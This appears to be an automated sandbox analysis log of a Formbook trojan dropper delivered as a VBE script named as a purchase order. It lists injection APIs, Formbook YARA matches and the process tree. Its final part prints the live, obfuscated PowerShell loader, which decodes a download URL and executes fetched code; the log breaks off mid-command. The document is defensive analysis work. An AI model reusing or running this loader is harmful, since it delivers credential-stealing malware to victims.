Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02D10 NtMapViewOfSection,LdrInitializeThunk, 13_2_04F02D10
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02EE0 NtQueueApcThread,LdrInitializeThunk, 13_2_04F02EE0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02E80 NtReadVirtualMemory,LdrInitializeThunk, 13_2_04F02E80
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02FE0 NtCreateFile,LdrInitializeThunk, 13_2_04F02FE0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02FB0 NtResumeThread,LdrInitializeThunk, 13_2_04F02FB0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02F30 NtCreateSection,LdrInitializeThunk, 13_2_04F02F30
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02AF0 NtWriteFile,LdrInitializeThunk, 13_2_04F02AF0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02AD0 NtReadFile,LdrInitializeThunk, 13_2_04F02AD0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02BF0 NtAllocateVirtualMemory,LdrInitializeThunk, 13_2_04F02BF0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02BE0 NtQueryValueKey,LdrInitializeThunk, 13_2_04F02BE0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02BA0 NtEnumerateValueKey,LdrInitializeThunk, 13_2_04F02BA0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02B60 NtClose,LdrInitializeThunk, 13_2_04F02B60
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F035C0 NtCreateMutant,LdrInitializeThunk, 13_2_04F035C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F039B0 NtGetContextThread,LdrInitializeThunk, 13_2_04F039B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02CF0 NtOpenProcess, 13_2_04F02CF0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02CC0 NtQueryVirtualMemory, 13_2_04F02CC0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02C00 NtQueryInformationProcess, 13_2_04F02C00
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02DB0 NtEnumerateKey, 13_2_04F02DB0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02D00 NtSetInformationFile, 13_2_04F02D00
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02EA0 NtAdjustPrivilegesToken, 13_2_04F02EA0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02E30 NtWriteVirtualMemory, 13_2_04F02E30
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02FA0 NtQuerySection, 13_2_04F02FA0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02F90 NtProtectVirtualMemory, 13_2_04F02F90
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02F60 NtCreateProcessEx, 13_2_04F02F60
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02AB0 NtWaitForSingleObject, 13_2_04F02AB0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F02B80 NtQueryInformationFile, 13_2_04F02B80
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F03090 NtSetValueKey, 13_2_04F03090
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F03010 NtOpenDirectoryObject, 13_2_04F03010
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F03D70 NtOpenThread, 13_2_04F03D70
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F03D10 NtOpenProcessToken, 13_2_04F03D10
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02ED8B10 NtCreateFile, 13_2_02ED8B10
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02ED8E10 NtClose, 13_2_02ED8E10
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02ED8F70 NtAllocateVirtualMemory, 13_2_02ED8F70
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02ED8C80 NtReadFile, 13_2_02ED8C80
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02ED8D70 NtDeleteFile, 13_2_02ED8D70
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F7A4 NtUnmapViewOfSection, 13_2_04D2F7A4
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F0FF NtQueryInformationProcess, 13_2_04D2F0FF
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F05C NtQueryInformationProcess, 13_2_04D2F05C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F04B NtQueryInformationProcess, 13_2_04D2F04B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F01B NtQueryInformationProcess, 13_2_04D2F01B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F036 NtQueryInformationProcess, 13_2_04D2F036
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2F869 NtUnmapViewOfSection, 13_2_04D2F869
Detected potential crypto function
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FFD9B8AC022 4_2_00007FFD9B8AC022
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FFD9B8AB2BF 4_2_00007FFD9B8AB2BF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_00007FFD9B97A21A 4_2_00007FFD9B97A21A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_046BF320 6_2_046BF320
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_046BFBF0 6_2_046BFBF0
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_046BEFD8 6_2_046BEFD8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 6_2_073ECDE0 6_2_073ECDE0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2490E4F6 11_2_2490E4F6
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2491F43F 11_2_2491F43F
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24912446 11_2_24912446
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24851460 11_2_24851460
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24920591 11_2_24920591
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_248FD5B0 11_2_248FD5B0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860535 11_2_24860535
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24917571 11_2_24917571
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_249116CC 11_2_249116CC
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2487C6E0 11_2_2487C6E0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2491F7B0 11_2_2491F7B0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_2485C7C0 11_2_2485C7C0
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24884750 11_2_24884750
Source: C:\Windows\SysWOW64\msiexec.exe Code function: 11_2_24860770 11_2_24860770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F7E4F6 13_2_04F7E4F6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F82446 13_2_04F82446
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F90591 13_2_04F90591
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0535 13_2_04ED0535
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEC6E0 13_2_04EEC6E0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ECC7C0 13_2_04ECC7C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0770 13_2_04ED0770
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF4750 13_2_04EF4750
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F62000 13_2_04F62000
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F881CC 13_2_04F881CC
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F901AA 13_2_04F901AA
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F58158 13_2_04F58158
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC0100 13_2_04EC0100
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F6A118 13_2_04F6A118
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F502C0 13_2_04F502C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F70274 13_2_04F70274
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EDE3F0 13_2_04EDE3F0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F903E6 13_2_04F903E6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8A352 13_2_04F8A352
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC0CF2 13_2_04EC0CF2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F70CB5 13_2_04F70CB5
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0C00 13_2_04ED0C00
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ECADE0 13_2_04ECADE0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE8DBF 13_2_04EE8DBF
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EDAD00 13_2_04EDAD00
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8EEDB 13_2_04F8EEDB
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8CE93 13_2_04F8CE93
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE2E90 13_2_04EE2E90
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED0E59 13_2_04ED0E59
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8EE26 13_2_04F8EE26
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC2FC8 13_2_04EC2FC8
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F4EFA0 13_2_04F4EFA0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F44F40 13_2_04F44F40
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F12F28 13_2_04F12F28
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EF0F30 13_2_04EF0F30
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EFE8F0 13_2_04EFE8F0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EB68B8 13_2_04EB68B8
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED2840 13_2_04ED2840
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EDA840 13_2_04EDA840
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED29A0 13_2_04ED29A0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F9A9A6 13_2_04F9A9A6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EE6962 13_2_04EE6962
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ECEA80 13_2_04ECEA80
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F86BD7 13_2_04F86BD7
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8AB40 13_2_04F8AB40
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EC1460 13_2_04EC1460
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8F43F 13_2_04F8F43F
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F6D5B0 13_2_04F6D5B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F87571 13_2_04F87571
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F816CC 13_2_04F816CC
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8F7B0 13_2_04F8F7B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F870E9 13_2_04F870E9
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8F0E0 13_2_04F8F0E0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED70C0 13_2_04ED70C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F7F0CC 13_2_04F7F0CC
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EDB1B0 13_2_04EDB1B0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F9B16B 13_2_04F9B16B
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBF172 13_2_04EBF172
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F0516C 13_2_04F0516C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F712ED 13_2_04F712ED
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EED2F0 13_2_04EED2F0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEB2C0 13_2_04EEB2C0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED52A0 13_2_04ED52A0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F1739A 13_2_04F1739A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EBD34C 13_2_04EBD34C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8132D 13_2_04F8132D
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8FCF2 13_2_04F8FCF2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F49C32 13_2_04F49C32
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEFDC0 13_2_04EEFDC0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F87D73 13_2_04F87D73
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F81D5A 13_2_04F81D5A
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED3D40 13_2_04ED3D40
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED9EB0 13_2_04ED9EB0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04E93FD2 13_2_04E93FD2
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04E93FD5 13_2_04E93FD5
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8FFB1 13_2_04F8FFB1
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED1F92 13_2_04ED1F92
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8FF09 13_2_04F8FF09
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED38E0 13_2_04ED38E0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F3D800 13_2_04F3D800
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04ED9950 13_2_04ED9950
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEB950 13_2_04EEB950
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F65910 13_2_04F65910
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F7DAC6 13_2_04F7DAC6
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F15AA0 13_2_04F15AA0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F6DAAC 13_2_04F6DAAC
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F43A6C 13_2_04F43A6C
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8FA49 13_2_04F8FA49
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F87A46 13_2_04F87A46
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F45BF0 13_2_04F45BF0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F0DBF9 13_2_04F0DBF9
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04E99B80 13_2_04E99B80
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04EEFB80 13_2_04EEFB80
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04F8FB76 13_2_04F8FB76
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EC1880 13_2_02EC1880
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EBC7C9 13_2_02EBC7C9
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EBC7D0 13_2_02EBC7D0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EBAA70 13_2_02EBAA70
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EBC9F0 13_2_02EBC9F0
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EC4F10 13_2_02EC4F10
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EC30FC 13_2_02EC30FC
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EC1140 13_2_02EC1140
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EC3100 13_2_02EC3100
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_02EDB400 13_2_02EDB400
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2E6CE 13_2_04D2E6CE
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2D704 13_2_04D2D704
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2D738 13_2_04D2D738
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2E214 13_2_04D2E214
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: 13_2_04D2E333 13_2_04D2E333
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\msiexec.exe Code function: String function: 2484B970 appears 38 times
Source: C:\Windows\SysWOW64\msiexec.exe Code function: String function: 248DF290 appears 34 times
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: String function: 04F17E54 appears 97 times
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: String function: 04EBB970 appears 257 times
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: String function: 04F4F290 appears 103 times
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: String function: 04F05130 appears 57 times
Source: C:\Windows\SysWOW64\msinfo32.exe Code function: String function: 04F3EA12 appears 86 times
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 9379
Source: unknown Process created: Commandline size = 9379
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 9379 Jump to behavior
Yara signature match
Source: amsi32_5812.amsi.csv, type: OTHER Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: 0000000D.00000002.2954157360.0000000002EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2955140831.00000000034C0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2543568933.0000000024700000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000F.00000002.2955372386.0000000002BD0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.2955148766.0000000002D00000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000D.00000002.2955249123.0000000004C30000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.2544153499.0000000024B70000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: Process Memory Space: powershell.exe PID: 1068, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 5812, type: MEMORYSTR Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: classification engine Classification label: mal100.troj.spyw.expl.evad.winVBE@17/8@4/3
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Roaming\Nationalsocialisternes.Ska Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5436:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2260:120:WilError_03
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6064:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_pkhvrw3x.skq.ps1 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=1068
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=5812
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: Narudzba ACH0036173.vbe ReversingLabs: Detection: 26%
Source: Narudzba ACH0036173.vbe Virustotal: Detection: 11%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\Narudzba ACH0036173.vbe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe cmd.exe /c ping 6777.6777.6777.677e
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping 6777.6777.6777.677e
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Lediggang Graadighedens Disciplineringer Bagermestrene Teutonisk Uptilt #>;$Spegeplserne='Nymaledes';<#Messiness Compromising Anaphalis Gennemarbejdelsen Fodervikkerne #>;$Laparotomize140=$host.'PrivateData';If ($Laparotomize140) {$Trikotagefabrikker++;}function Spdbarnsplejerens($Ledningernes){$Annelism=$Totlafholdenhed61+$Ledningernes.Length-$Trikotagefabrikker; for( $Omgik=7;$Omgik -lt $Annelism;$Omgik+=8){$Methodisers='Exuscitate';$Protaspis+=$Ledningernes[$Omgik];$Newsroom204='Dkfjers';}$Protaspis;}function Optllingslister($baulky){ & ($Unark) ($baulky);}$Steamboating=Spdbarnsplejerens 'MouthfuMDecollaoUarb,jdzRaabaaniUdf ldelundertilAntipreaNebra.k/Averrab5stedbrd.Faglrer0 Ful,vr Blottel(Porch dWB taliniAfgangsnRati,nedPopuliso Ove clwAllokatsBegnawn HjertebN Kal etTTempl r Materia1Haunche0Waylanr. instit0Gri tmi;Departe c araciW,uccubei.aftkjonandest 6Eardro 4 Increa; Delege Finansrx Uterom6 mysti 4Fgtmedd;a,reste barramurMacroptvKonvolu:Re ligh1 Graph 2Argenti1Delubru.Apace a0Bebutto)Lystbaa unquietG Spelmae TwelfhcAttak ekSkamrdmoQuantis/Persona2Hemidom0Noggkas1 Nonchr0,anebry0Jaszmal1Futu is0Ud lugt1 Arquat BararmFLikenesiQuizzysrIchthyoeLuncherfOzoniz.oRaastofx.hefmgl/Gra,bea1Aym sar2 Fje,ne1.ongrat.Andelss0No merc ';$Railcard=Spdbarnsplejerens 'syltdepuSoapfissdkningsESvartidRRidning- Er,rinA PainkigOverophE GustinN NegatiTForkerk ';$Ekspatrieret=Spdbarnsplejerens 'Bille thG,ilingtThrenodtBibliotpNonevilsSkydere:Evangel/ mpetu/ Fili,tp DatostuSpecialb Blomme-Tremour2pladshof Achi l7Nipsetsd Quater0 upersu7gagered1Vgtford5 Repr.f3,nakepreGreeneraHousefl1ev kost4 B.odsp0Moduler3Ansamle1Jengene8Sockhea4 leopardStengun6Bioscie2Tonikum2U,ifiab6Skammel6Litigatd Ind kr9unperv.cAfisnin2Regiona8theodraeAngolan4S hoolb1 Thelyt. StavnsrTeleotr2T pefli.drmmebid ConspieMicrotovTopchef/UdlistnnTaagetmePennyspdDr gbolkRiddersoTrvlerng KrgendeRecan.e. betacim Kruspes DeadmeoHusass ';$Overrigidness=Spdbarnsplejerens 'Soapyre>Indsnus ';$Unark=Spdbarnsplejerens 'Terningi,vergeneSlank ixKaosets ';$Metaprescutum='Caddises';$Arkivskab='\Nationalsocialisternes.Ska';Optllingslister (Spdbarnsplejerens 'Uhjlpso$BepaidlgBetali lRea izaoDisser,bEspartoATyr fgtlKlderen:Cebid nm ogejome S ppreKPapembaa Oblig.NklinikliBankemaShaplontMo dsgnieFinlandRHenns.n= N.trog$ ego,seEPlasmasn.ultideVIllegit:Bu.kladApel,rgoPRakitispQuincyuD GuidebA antasiTThomisiAUnhands+wasabis$Racial,aN 